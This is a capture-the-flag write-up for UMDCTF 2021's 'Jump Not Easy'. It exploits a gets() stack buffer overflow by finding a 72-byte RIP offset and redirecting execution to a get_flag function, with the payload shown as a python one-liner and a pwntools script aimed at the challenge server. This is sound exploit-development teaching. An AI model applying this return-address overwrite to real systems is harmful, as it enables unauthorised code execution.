> For the complete documentation index, see [llms.txt](https://ctf.zeyu2001.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ctf.zeyu2001.com/2021/umdctf-2021/jump-not-easy.md).

# Jump Not Easy

This is a classic buffer overflow challenge. We don't have the source code so we'll disassemble the binary using radare2.

We can see that the main function calls the `jump` function.

![](https://3167364547-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MX1bWRlBzHpEPe1TYDD%2Fuploads%2Fgit-blob-0369ab4d89a63b59201d442371ec9e1a846b4358%2F931875a5a445494498bca6248aa04f47.png?alt=media)

Notice that the jump function calls `gets`, which is vulnerable to buffer overflows (it does not check the received buffer length).

![](https://3167364547-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MX1bWRlBzHpEPe1TYDD%2Fuploads%2Fgit-blob-f2d0e906e18233b1c36d98257a05c0dedd5eafed%2F915de40d06db4ef3931cca2f3c79fc0a.png?alt=media)

We can now use `gdb` to debug the binary. Using `msf-pattern_create -l 1000`, we create a pattern that we will send to the binary.

Set a breakpoint at 0x00401304, right after the `gets` call.

```
gef > break *0x00401304
Breakpoint 1 at 0x401304
```

After supplying our payload through the `gets` call, our breakpoint is triggered.

![](https://3167364547-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MX1bWRlBzHpEPe1TYDD%2Fuploads%2Fgit-blob-9683e1d0ad782ddaa78a24a1c548f7c5aee0e779%2F76330b5d6412448cb1d162ca7989043f.png?alt=media)

At this point we can analyse the stack frame *after* receiving input, but *before* returning from the `jump` function.

The `saved rip` value is the return address stored on the stack. We have successfully overwritten it.

![](https://3167364547-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MX1bWRlBzHpEPe1TYDD%2Fuploads%2Fgit-blob-87cfaf2a8c6c2adb8e8e2caa7ce7a98923a419a3%2F40e4364119844975b76793117e32c35e.png?alt=media)

```
msf-pattern_offset -q 0x6341356341346341
[*] Exact match at offset 72
```

Now we know that the RIP offset is 72.

There is also a `get_flag` function at `0x0040125d`. Perhaps we can redirect the program execution here, and get our flag.

![](https://3167364547-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MX1bWRlBzHpEPe1TYDD%2Fuploads%2Fgit-blob-cb8a57a6e9756475a82b991e1a5874d98e511ad9%2F87b3ab63dfb449aa837ebddb92073e73.png?alt=media)

Let's test our hypothesis. We generate our payload file: `python -c 'print "A" * 72 + "\x5d\x12\x40\x00"' > ipt.txt`, then pass it to the binary in gdb.

```
gef > run < ipt.txt
```

Here we have overwritten the RIP to the address of `get_flag`. Continuing from the breakpoint, we get "Error when opening the file!". This means that the `get_flag` function was indeed executed!

![](https://3167364547-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MX1bWRlBzHpEPe1TYDD%2Fuploads%2Fgit-blob-981a089d0b17bca7964c297710873d153fa7fb23%2F729f50a520a14a32955143c2375796f0.png?alt=media)

Now we can obtain the flag from the server.

```python
from pwn import *

ret = 0x0040125d
offset = 72
payload = b""
payload += b"A" * offset
payload += p32(ret)
print(payload)

conn = remote('chals5.umdctf.io', 7003)

print(conn.recvuntil("Where do you want to go?\n"))
conn.send(payload + b"\n")
print(conn.recv())

conn.close()
```

![](https://3167364547-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MX1bWRlBzHpEPe1TYDD%2Fuploads%2Fgit-blob-cb057fa1021abe358496aaf3175804a0f4c44dbf%2F4c98891946f749e29b6ec6ce2d355847.png?alt=media)